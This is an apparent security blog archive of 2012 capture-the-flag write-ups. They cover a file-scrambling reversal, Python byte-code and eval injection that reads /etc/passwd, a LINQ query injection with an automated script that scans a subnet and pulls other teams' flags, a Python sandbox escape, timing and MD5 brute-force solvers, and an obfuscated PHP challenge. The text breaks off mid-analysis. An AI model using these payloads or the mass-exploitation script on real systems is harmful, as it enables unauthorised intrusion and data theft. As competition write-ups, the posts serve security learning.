codezen.fr code hacking, zen coding

23Dec/12Off

HackYouToo CTF – Binary 300 – Shredder Write-up

Posted by aXs

Have you tried feeding critical documents to a shredder? We've accidentally done this very thing.

Shredder: shredder.exe
Document remains: broken_flag.jpg

We need our document back!

See: http://hackyou.ctf.su/tasks/shredder

Shredder is a Win32 binary that encrypt source file "flag.jpg" to "broken_flag.jpg". The encryption is only some translations and swaps and can be easily reversed.

### Guess mod_5 value using pattern file (map(chr,range(0,256))
### only 5 values possible anyways

mod_5 = 3

### Step 1 - Revert byte swap for position 8 and 13 every 16 bytes

buffer = map(ord, open("broken_flag.jpg", "rb").read())

j = 8
while (j<len(buffer)):
    (buffer[j], buffer[j + 5]) = (buffer[j + 5], buffer[j])
    j = j + 16

buffer = map(chr, buffer)

### Step 2 - Revert byte swap for value 53, 88, 109 and mod_5

out = ''
for j in range(0, len(buffer)):
    a = ord(buffer[j])

    a = (a - 1) & 0xFF ## revert ++buffer[j];

    if a == 53:
        a = 109
    else:
        if a == 109:
            a = 53

    if a == 88:
        a = mod_5 + 89
    else:
        if a == mod_5 + 89:
            a = 88

    out = out + chr(a)

open("plain.jpg", "wb").write(out)

plain

Share
17Dec/12Off

PHDays CTF Quals – Pwn300 SouthPark Write-Up – Python byte-code version

Posted by aXs

This challenge is about the control panel of the Southpark police department. (I wonder how many weird google searches I'm going to get on this post)

phd-pwn300-web

You can choose an action and a victim. When you submit the form, it's a simple AJAX call that will display "'human' was 'action'"

If we look closer at this ajax call we have some variables to play with:

&actions=kill&actions=arrest&actions=bankrupt&human=Kenny&choice=%00

We get the "source" code of this challenge in the form of 2 files, one web.py file and one compiled process.pyc file.

In web.py, we see we import the process.pyc:

  def render_POST(self, request):
    import process
    addition = "<br>"
    addition += process.process(request.args)
    response = addition
    return response

Using the great Uncompyle2 by Mysterie, we can recover the source code of process.pyc:

import types

def create_function(name, args_count, choice, actions, human):

    def y():
        pass

    code = 't' + choice + ''\x00d\x01\x00\x83\x01\x00S'
    consts = (None,) + (human,)
    names = actions
    fun = [args_count,
     y.func_code.co_nlocals,
     y.func_code.co_stacksize,
     y.func_code.co_flags,
     code,
     consts,
     names,
     y.func_code.co_varnames,
     y.func_code.co_filename,
     name,
     y.func_code.co_firstlineno,
     y.func_code.co_lnotab]
    y_code = types.CodeType(*fun)
    return types.FunctionType(y_code, y.func_globals, name)


def kill(name):
    return '%s was killed' % name


def arrest(name):
    return '%s was arrested' % name


def bankrupt(name):
    return '%s was bankrupted' % name


def process(args):
    actions = tuple(args['actions'])
    choice = args['choice'][0]
    human = args['human'][0]
    return create_function('myfunc', 0, choice, actions, human)()

create_function creates a Python lambda function from scratch and then returns it for consumption.

There is many ways to exploit this code because it calls a function name defined by the user in actions passing human as parameter like for example:

&actions=eval&human=str(open('/etc/passwd').read())&choice=%00

But I was intrigued by the "code" variable and the choice parameter which is inserted in the middle of what is Python byte-code. Can we exploit that for extra fun? (not extra points tough)

What is the purpose of:

code = 't' + choice + '\x00d\x01\x00\x83\x01\x00S'

Using Python dis module we can disassemble it: (comments are my own)

>>> import dis
>>> choice = '\x00'
>>> dis.dis('t' + choice + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // load actions (as globals=names)
          3 LOAD_CONST          1 (1) // load human on stack
          6 CALL_FUNCTION       1
          9 RETURN_VALUE

Calling a function named after "actions" passing the "human" parameter.

So we can craft the following Python byte-code injection:

&actions=open&actions=read&human=/etc/passwd&choice=%00%00d%01%00%83%01%00i%01%00%83%00%00St%00

This byte-code string can be decoded as doing this:

>>> dis.dis('t' + chr(0) + '\x00d\x01\x00\x83\x01\x00' + chr(105) +  chr(1) + '\x00\x83\x00\x00S' + 't' +  chr(0) + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // push first "actions" parameter on stack : open
          3 LOAD_CONST          1 (1) // push "human" parameter on stack : /etc/passwd
          6 CALL_FUNCTION       1     // open('/etc/passwd')
          9 LOAD_ATTR           1 (1) // load second "actions" parameter as a "read" attr for the open object created previously
         12 CALL_FUNCTION       0     // read the file content: open('/etc/passwd').read()
         15 RETURN_VALUE              // we bypass rest of original byte-code by inserting a RETURN_VALUE opcode, bit like # -- in SQLi
         16 LOAD_GLOBAL         0 (0) // original code
         19 LOAD_CONST          1 (1)
         22 CALL_FUNCTION       1
         25 RETURN_VALUE

And we get the flag:

# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $
#
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh
Share
25Nov/12Off

RuCTFE 2012 CTF – LuST Service Writeup

Posted by aXs

RuCTFE is "classic" (these days it's more like "old-skool") Attack/Defense security game where multiple teams (150) compete to hack each other vulnerable services hosted in a VirtualBox machine provided by the CTF organizers at the beginning of the contest. Read more here about this great CTF and the network setup: http://ructf.org/e/2012/

One of these vulnerable service was LuSt, a .NET executable running under Mono on the virtual machine:

root@vulnbox:/home/lust# file LuSt.exe
LuSt.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

LuST is a luggage manager for a mexican (?) airline company. You can deposit your luggage, browse your list of luggage and get the description of a specific luggage.

When you put your first luggage, this will create a cookie in your browser so you can authenticate again later and browse your list of luggage.

Using .NET Reflector we can analyze, disassemble and patch this binary.

Building on System.net.HttpListener, we have 4 listeners: (comments are my own)

public void Start()
{
    this.putListener.Start();   // Deposit your luggage
    this.listListener.Start();  // Browse your luggages
    this.getListener.Start();   // See description of one luggage
    this.indexListener.Start(); // static files (html and assets)
}

Let see what happend when you deposit your first luggage:

string signature = Convert.ToBase64String(this.Sign(name)); // computer secure cookie signature
if (this.db.IsKnownName(name) && !this.IsValidAuth(context, name, signature)) // compare signature cookie to computed signature
{
  AsyncListener.ShowCustomStatus(context.Response, HttpStatusCode.Forbidden, "Failed to authenticate this known user");
}
else // new user
{
  Guid id = Guid.NewGuid();
  DbItem <>g__initLocal0 = new DbItem {
    id = id,
    name = name,
    luggage = luggage
  };
  this.db.Insert(<>g__initLocal0);
  SetCookies(context, name, signature); // send 2 cookies, 1 with name, 1 with signature
  WriteResponse(context, Encoding.UTF8.GetBytes(id.ToString()), "text/plain; charset=utf-8");
}

The secure signing of the cookie is as follow, tough not really relevant for this exploit:

private byte[] Sign(string dataString)
{
    byte[] data = Encoding.GetEncoding(0x4e4).GetBytes(dataString); // name
    byte[] buff = new byte[this.signKey.Length + data.Length]; // 32 random bytes generated at startup
    Array.Copy(this.signKey, buff, this.signKey.Length);
    Array.Copy(data, 0, buff, this.signKey.Length, data.Length);
    return MD5.Create().ComputeHash(buff); // signature is md5(secret + name)
}

We can notice this signing is vulnerable to a hash extension attack because secret part is before the user-controled part, padding can be manipulated to create collisions. But this is not relevant to this exploit (name format is validated by a strict regex before so might be not trivial to achieve)

Let's move to the browse luggage functionality:

If the pattern parameter is empty, you will list all luggages associated with that name:

http://10.23.19.3:1437/list?name=bigdaddy&pattern=

How does this works code-wise:

string signature = Convert.ToBase64String(this.Sign(name));
if (!this.IsValidAuth(context, name, signature)) // we need the secure signature cookie to authenticate
{
  AsyncListener.ShowCustomStatus(context.Response, HttpStatusCode.Forbidden, "Failed to authenticate this user");
}
else
{
  string pattern = args["pattern"];
  WriteResponse(context, Encoding.UTF8.GetBytes(string.Join<Guid>(",", this.db.Find(name, pattern))), "text/plain; charset=utf-8");
}

Seems solid, lets move to the db.Find(name, pattern) function.

public List<Guid> Find(string name, string pattern = "")
{
    return this.items.Values.AsQueryable<DbItem>().Where<DbItem>(
    string.Format("name = "{0}"{1}", name, !string.IsNullOrEmpty(pattern) ?
    string.Format("and luggage.Contains("{0}")", pattern) : ""),
    new object[0]).Select("id", new object[0]).Cast<Guid>().ToList<Guid>();
}

Interesting. This is an implementation of System.Linq.Queryable, the normal find query will be as this:

name = "bigdaddy" and luggage.Contains("xxx")

But with this format "string.Format("and luggage.Contains(\"{0}\")", pattern)" we can happily insert into the query anything we want so we can have the following query:

URL parameters: name = 'bigdaddy', pattern = '") or ("1"="1'

Resulting query: name = "bigdaddy" and luggage.Contains("") or ("1"="1")

With this we bypass listing only our own luggages and will get a dump of the DB. You can see the valuable flags in the answer.

But, it's all fun and games until you are pwned yourself so how can we patch this vulnerability ?

There is many ways to do this but in this particular scenario, a simple approach is to filter the luggage parameter to keep only alphanumeric character ([^A-Za-z0-9 ])

Using Reflexil we can alter and even add new opcodes to the db.Find() method.

Our new code we will put at the beginning of the db.Find method:

Regex re = new Regex("[^a-zA-Z0-9 ]");
safepattern = re.Replace(pattern, "");

Which mean we need to add these new IL opcodes:

ldstr [^a-zA-Z0-9 ] // push parameter to stack
newobj System.Void System.Text.RegularExpressions.Regex::.ctor(System.String) // create object
stloc.0 // store our new object to local variable 0
ldloc.0  // push it on the stack for virtual call below
ldarg.2  // push 2nd parameter (luggage) to stack
ldstr // push empty string to stack
callvirt System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String)
stloc.1 // store result in local variable 1 (safepattern)

Then in the rest of the IL code, we replace "ldarg.2" by "ldloc.1" to use safepattern instead of pattern. See full IL disassembly:

  Offset  OpCode  Operand
  0 ldarg.0
  1 ldstr [^a-zA-Z0-9 ]
  6 newobj  System.Void System.Text.RegularExpressions.Regex::.ctor(System.String)
  11  stloc.0
  12  ldloc.0
  13  ldarg.2
  14  ldstr
  19  callvirt  System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String)
  24  stloc.1
  25  ldfld System.Collections.Concurrent.ConcurrentDictionary`2<System.Guid,RuCTFE.LuSt.DbItem> RuCTFE.LuSt.DB::items
  30  callvirt  System.Collections.Generic.ICollection`1<!1> System.Collections.Concurrent.ConcurrentDictionary`2<System.Guid,RuCTFE.LuSt.DbItem>::get_Values()
  35  call  System.Linq.IQueryable`1<!!0> System.Linq.Queryable::AsQueryable<RuCTFE.LuSt.DbItem>(System.Collections.Generic.IEnumerable`1<!!0>)
  40  ldstr name = "{0}"{1}
  45  ldarg.1
  46  ldloc.1
  47  call  System.Boolean System.String::IsNullOrEmpty(System.String)
  52  brfalse.s -> (19) ldstr and luggage.Contains("{0}")
  54  ldstr
  59  br.s  -> (22) call System.String System.String::Format(System.String,System.Object,System.Object)
  61  ldstr and luggage.Contains("{0}")
  66  ldloc.1
  67  call  System.String System.String::Format(System.String,System.Object)
  72  call  System.String System.String::Format(System.String,System.Object,System.Object)
  77  ldc.i4.0 
  78  newarr  System.Object
  83  call  System.Linq.IQueryable`1<T> System.Linq.Dynamic.DynamicQueryable::Where<RuCTFE.LuSt.DbItem>(System.Linq.IQueryable`1<T>,System.String,System.Object[])
  88  ldstr id
  93  ldc.i4.0 
  94  newarr  System.Object
  99  call  System.Linq.IQueryable System.Linq.Dynamic.DynamicQueryable::Select(System.Linq.IQueryable,System.String,System.Object[])
  104 call  System.Linq.IQueryable`1<!!0> System.Linq.Queryable::Cast<System.Guid>(System.Linq.IQueryable)
  109 call  System.Collections.Generic.List`1<!!0> System.Linq.Enumerable::ToList<System.Guid>(System.Collections.Generic.IEnumerable`1<!!0>)
  114 ret

Since this is an attack/defense CTF, we need to automate this exploit so we can query all the other team services and steal their flags.

This python script will do this
- iterate over a target list created with
nmap -sS -P0 -oG targets -p 1437 10.23.*.3
cat targets | grep open | cut -d" " -f2 | grep -v "10.23.19.3" > hosts
- Do the LINQ SQL injection to get the list of all the luggage GUIDs
- Query the GUID with the get method to get content
- Maintain a cache of already retrieved GUIDs to speed up the process when launching the script again
- Check if this is a probable flag and submit it to the flag validation service
- Sometime send some garbage to the validation service to avoid the connection timing out

import time
import requests
import socket
import sys
import re
import random
import string
import pickle

def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
  return ''.join(random.choice(chars) for x in range(size))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("flags.e.ructf.org", 10001))

submit = s.makefile(mode = "rb")

print submit.readline()
print submit.readline()
print submit.readline()
print submit.readline()

targets = open("hosts").readlines()

random.shuffle(targets)

#history = []
history = pickle.load(open("history","r"))

for target in targets:

  target = target.rstrip()

  name = id_generator(size=32)
  garbage = "saucisse"
 
  print "target=", target, "name=", name

  flag = 0

  try:
    headers = {'X-Requested-With' : 'XMLHttpRequest'}
    print "Put!"
    resp = requests.get("http://" + target + ":1437/put?name=" + name + "&luggage=" + garbage, timeout = 3, headers = headers)
    cookies = resp.cookies
    cookies['name'] = cookies['name'][:-1]
    print "List!"

    getsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    getsocket.settimeout(3)
    getsocket.connect((target, 1437))
    getsocket.settimeout(None)
    getsocket.send('GET /list?pattern="%29+or+%28"1"+%3D+"1&name=' + name + ' HTTP/1.0' + "\n")
    getsocket.send("Host: " + target + ":1437\n")
    getsocket.send("Cookie: name=" + cookies['name'] + "; signature=" + cookies['signature'] + "\n\n")
    data = getsocket.recv(1024)
    txt = ""
    while len(data):
      txt = txt + data
      data = getsocket.recv(1024)
    getsocket.close()

    i = 0
    for line in txt.split(','):
      if len(line) != 36:
        continue    
      if line in history:
        print "Duplicated=", line
        continue;
      history.append(line)
      print "Get=", line
      params = {'Id' : line}
      resp = requests.get("http://" + target + ":1437/get", timeout = 3, cookies = cookies, params = params)
      txt = resp.text
      print "Id=", txt
      flag = txt[56:56+32]
      if len(flag) == 32 and flag[31] == '=':
        print "flag=", flag
        submit.write(flag + "\n")
        submit.flush()
        print submit.readline()
        flag = 1
      if i % 8 == 0:
        submit.write("next\n")
        submit.flush()
        print submit.readline()
      i = i + 1

  except:
    #raise
    pass

  pickle.dump(history, open("history", "wb"))

  if flag == 0:
    submit.write("next\n")
    submit.flush()
    print submit.readline()

We had to use a raw socket for the /list part because we had a very weird bug with Python Requests not processing the answer and just sitting idle.

$ python lust.py
target= 10.23.19.3 name= 6ZMO16R46FZ5Y2STKYL6F7S7EGQY9CLY
Put!
List!
Get= 7f2b10e7-d7db-42ed-9c49-56cecc58a204
Id= {"id":"7f2b10e7-d7db-42ed-9c49-56cecc58a204","luggage":"dab43241fda2368b1f729d42134524=","name":"Lassmiranda Densiwillja 23273"}
Share
25Oct/12Off

Hack.lu CTF – Python Jail Writeup

Posted by aXs

Challenge source code:

#!/usr/bin/env python
'''
Running instructions.
 sockets are insecure. We do not implement any socket behaviour in this
 file.
 Please make this file +x and run with socat:
    socat TCP-LISTEN:45454,fork EXEC:./chal.py,pty,stderr

Debugging:
 Just execute chal.py and play on terminal, no need to run socat

Note:
 This challenge is a tribute to PHDays Finals 2012 challenge 'ndevice'.
 Thanks again, I had fun solving it.
 
 I'm fairly certain that this challenge avoids being exploitable by
 the tricks we could use in PHDays (the module "os" was imported...).
 So, no advantage for people who did not attend PHDays.
 
'''

def make_secure():
        UNSAFE_BUILTINS = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input'] ## block objet?
         for func in UNSAFE_BUILTINS:
           del __builtins__.__dict__[func]

from re import findall
make_secure()

print 'Go Ahead, Expoit me >;D'

while True:
    try:
      inp = findall('\S+', raw_input())[0]
      print "inp=", inp
      a = None
      exec 'a=' + inp
      print 'Return Value:', a
    except Exception, e:
      print 'Exception:', e

As you guessed it, we need to escape the jail and read the content of a file named "key".

Many many ways to solve this, I went with:

$ nc ctf.fluxfingers.net 2045

Go Ahead, Expoit me >;D
5;s=raw_input();exec(s)
f = (t for t in (42).__class__.__base__.__subclasses__() if t.__name__ == 'file').next()('key')
Return Value: 5
5;s=raw_input();exec(s)
a = f.read()
Return Value: FvibLF0eBkCBk
Share
Tagged as: , Comments Off
20Oct/12Off

GreHack 2012 – Web100 (python daemon) Writeup

Posted by aXs

I don't know why this was classified as "Web" during the CTF because it's actually a Python TCPServer, nothing to do with Web.

Anyways, the only hint we get for this challenge is "192.168.203.35:30050"

When telneting to it, it does nothing, no banner. Sending a string will make it output an integer but sometime with a notable 5 seconds delay. We are not disconnected after each string.

We started by logging the integer replies and if there was a delay or not. Analyzing the data, we found that after a certain number of packets, the delay patterns will start to repeat exactly.

Manually converting the delay pattern to binary for the first few ones started to give us ASCII characters...

To summarize:
- We can send as much packets as we want
- Each packet will get an integer reply sometime with a 5 seconds delay
- The delay pattern repeats, the integer numbers does not
- It's a time-based attacks on the bits of the flag, 1 will get a delay, 0 will not.

Solution:

#!/usr/bin/env python

import socket
import time
import struct

host = '192.168.203.35'
port = 30050

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))

flag = ''
answer = ''

i = 0
while i < 1024:
   buffer = 'A' * 8
   start = time.time()
   sock.send(buffer)
   result = sock.recv(64)
   elapsed = time.time() - start
   print "i=", i, "elapsed=", elapsed, "result=", result
   if elapsed > 2:
     flag = flag + '1'
   else:
     flag = flag + '0'
   i = i + 1
   if i % 8 == 0:
     c = int(flag,2)
     answer = answer + chr(c)
     print "flag=", answer
     flag = ''
Share
19Oct/12Off

HackYou CTF – PPC 200 – Oscaderp Forensic Writeup

Posted by aXs

Don't you love challenge with README ?

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
[*] The password that's being used is 1,048,576 characters long.
[*] According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
[*] Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
    The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
[*] We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

So to summarize:
- We have a partial password (1,048,568 password keystrokes)
- We know the md5 of the whole password: 287d3298b652c159e654b61121a858e0
- We need to bruteforce in a smart way the 8 missing bytes

To solve this challenge we will use a property of MD5: we can hash chunks of the message in succession as long we respect the block size of the algorithm: 64 bytes

Our strategy:
- Init MD5
- Hash 1048568 - 1048568 % 64 = 1048512 bytes
- Bruteforce the missing bytes, using MD5_Update to update the partial hash, much faster than hashing the whole string from scratch for each brute force round

#include <sys/types.h>
#include <sys/uio.h>
#include <openssl/md5.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>

#define PASSWORD_PARTIAL_LENGTH 1048568
#define PASSWORD_MISSING_LENGTH 8
#define PASSWORD_INIT_LENGTH PASSWORD_PARTIAL_LENGTH - (PASSWORD_PARTIAL_LENGTH % MD5_CBLOCK)
#define HASH_TARGET "287d3298b652c159e654b61121a858e0"

char *byte_to_hex(unsigned char *buffer)
{
  static char hex[MD5_DIGEST_LENGTH * 2];
  int c;

  for(c=0 ; c < MD5_DIGEST_LENGTH ; c++)
    sprintf(hex + c*2, "%.2x", buffer[c]);

  return hex;
}

void hex_to_byte(unsigned char *buffer, unsigned char *digest)
{
  int c;
  unsigned char number[3];

  for(c=0 ; c < (MD5_DIGEST_LENGTH << 1) ; c += 2)
  {
    memcpy(number, buffer + c, 2);
    number[2] = 0;
    sscanf(number, "%x", &digest[c >> 1]);
  }
}

int main(int argc, char *argv[])
{
  FILE *f;

  unsigned int i;
  static unsigned char password[PASSWORD_PARTIAL_LENGTH + PASSWORD_MISSING_LENGTH];

  static unsigned char guess_digest[MD5_DIGEST_LENGTH];
  static unsigned char target_digest[MD5_DIGEST_LENGTH];

  MD5_CTX md5init;

  hex_to_byte(HASH_TARGET, target_digest);
 
  printf("Target hash=");
  printf(byte_to_hex(target_digest));
  printf("\n");

  f = fopen("password", "r");
  fread(password, 1, PASSWORD_PARTIAL_LENGTH, f);
  fclose(f);

  MD5_Init(&md5init);
  MD5_Update(&md5init, password, PASSWORD_INIT_LENGTH);

  for(i = 0 ; i < pow(10, PASSWORD_MISSING_LENGTH) ; i++)
  {
     MD5_CTX md5update;

     memcpy(&md5update, &md5init, sizeof(MD5_CTX));

     sprintf((char *)password + PASSWORD_PARTIAL_LENGTH, "%i", i);

     MD5_Update(&md5update, password + PASSWORD_INIT_LENGTH, MD5_CBLOCK);
     MD5_Final(guess_digest, &md5update);

     if (memcmp(guess_digest, target_digest, MD5_DIGEST_LENGTH) == 0)
     {
        printf("WIN %s %08u\n", byte_to_hex(guess_digest), i);
        exit(0);
     }
  }

  return 0;
}

Result:

$ gcc -O3 -o crack crack.c -lcrypto
$ ./crack
Target hash=287d3298b652c159e654b61121a858e0
WIN 287d3298b652c159e654b61121a858e0 69880983

We add those missing keystrokes to the keylogger content and we get the SHA1:

947c83329e6cf2d9b747af59edf7974752afd741

Share
Tagged as: , Comments Off
19Oct/12Off

HackYou CTF – Epic Arc 300 – CTF.EXE Writeup

Posted by aXs

In this challenge we get a Win32 console binary which just display garbage when started.

Reversing it with IDA, we see it connects to a TCP server.

I had noticed previously that the file being transfered in the Epic Arc 200 challenge was an Erlang BEAM file (compiled erlang)

This BEAM file was a TCP server. You guessed it, this is the server part for this ctf.exe, but not quite exactly the same server that on the challenge box. I will spare you the Erlang disassembly, it's not really interesting. You can obtain it with erts_debug:df(Module).

We can still reverse enough from this BEAM file to understand what the server is doing and the client is doing in reply.

What the server part will do:

- Send a banner (17 bytes)
- Send a session key (8 bytes)
- Send a CRLF (2 bytes)
- Send "IV" (4 random bytes)
- Wait for our handshake
- Reply in an encrypted form with an error message or the flag if your handshake is correct

A correct handshake needs to be:
- "FlagRequest:omkesey" + IV + "\n\r" (this string can be found in CTF.exe)
- XOR encrypted with "_hackme_" itself XORed with the session key sends by the server

To decrypt the server reply, you use this same XOR key.

import socket
import sys

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,3137))

banner = s.recv(17) # banner
print "banner=", repr(banner)

key = s.recv(8)
print "key=", key.encode("hex"), "len=", len(key)

hackme = "_hackme_"

key2 = ''
i = 0
while i < 8:
  key2 = key2 + chr(ord(key[i]) ^ ord(hackme[i]))
  i = i +1

print "key2=", key2.encode("hex")

key = key2

crlf = s.recv(2)  # \n\r
print "CRLF=", repr(crlf)

iv = s.recv(4)  # random bytes
print "IV=", iv.encode("hex")

request = "FlagRequest:omkesey" + iv + "\n\r"

print "request=", repr(request), "len=", len(request)

handshake = ''

for i in xrange(0, len(request)):
  handshake = handshake + chr(ord(request[i]) ^ ord(key[i % 8]))

print "handshake=", repr(handshake), "len=", len(handshake)
print "handshake=", handshake.encode("hex")

s.send(handshake)

reply = s.recv(128)

print "Raw=", repr(reply)
print "Raw=", reply.encode("hex")

message = ''
for i in xrange(0, len(reply)):
  message = message + chr(ord(reply[i]) ^ ord(key[i % len(key)]))

print "message=", repr(message)
print "message=", message.encode("hex")
Share
19Oct/12Off

HackYou CTF – Web 300 – RNG of Ultimate Security Writeup

Posted by aXs

Web challenge.

We have the "source code" and we know the location of the flag:

<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
<!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

The web page is simple form to generate pseudo-random numbers. Here is the form:

    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>1455592514
1816609169
1284133797
66671252
462888992
</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>

The RNG "algorithm" is passed in the form in the rng_algorithm POST variable, let's decode it:

ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))

Looks like a preg_replace pattern with variable $1.

Let's zoom on the obfuscated PHP source code:

<?php

${b("ee3ab0f9421ce0feabb4676542993ab3")} = b("9a8890a6434cd24e876d687bcaf63b40218f525c");
${b("a7d2546914126ca18ca52e3205950070")} = b("c74b0811f86043e9aba0c1d249633993");
${b("116fe81df7d030c1e875745f97f9f138")} = b("6da187003b534e740a777e");
${b("a3bfe0d3698e1310cce7588fbab15dbe")} = b("f19e6937d9080f346a01");
${b("39ebc7035a36015274fdb7bf7c1b661e")} = b("336f2f8b0f837cf318");
${b("66711d77210b4193e5539696d4337127")} = b("283101ccbc823b56");
${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));
if (${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"), ${b("eb717d90b3287b1fbd")})) {
    ${b("532194e0380d7a29761eb0b215b4168d")} = ${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];
    ${b("f877261be92e25500a601f21ab4cfa84")} = ${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];
    ${b("dbcffbbeb2632a6e6c6f84ac52064768")} = b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");
    if (${b("2e272b48041e04ef643cc8624445f2a0")} != ${b("6a24556aba8e247fa9d27de3bed53586")})
        ${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));
    else
        ${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"), ${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"), ${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}), ${b("532194e0380d7a29761eb0b215b4168d")}));
} else {
    foreach (${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"), b("94a8be1778")) as $_)
        ${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}() . b("f975de3ba2"));
}
${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));
function b($b)
{
    return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇЁÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ ^ ®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼­‰ÕÚÒ¼š´îûšŸÁՐÎÓć­°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡Ü؍úÊÚåÒ‡ØÒ®² ö);
}

Looks a lot like obfuscated javascript. The string decode is function b. Function b is an eval function and a funny looking binary string.

What does this string do ?

Using the Vulcan Logic Decompiler (php opcode disassembler) :

line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   3     0  >   EXT_STMT                                                
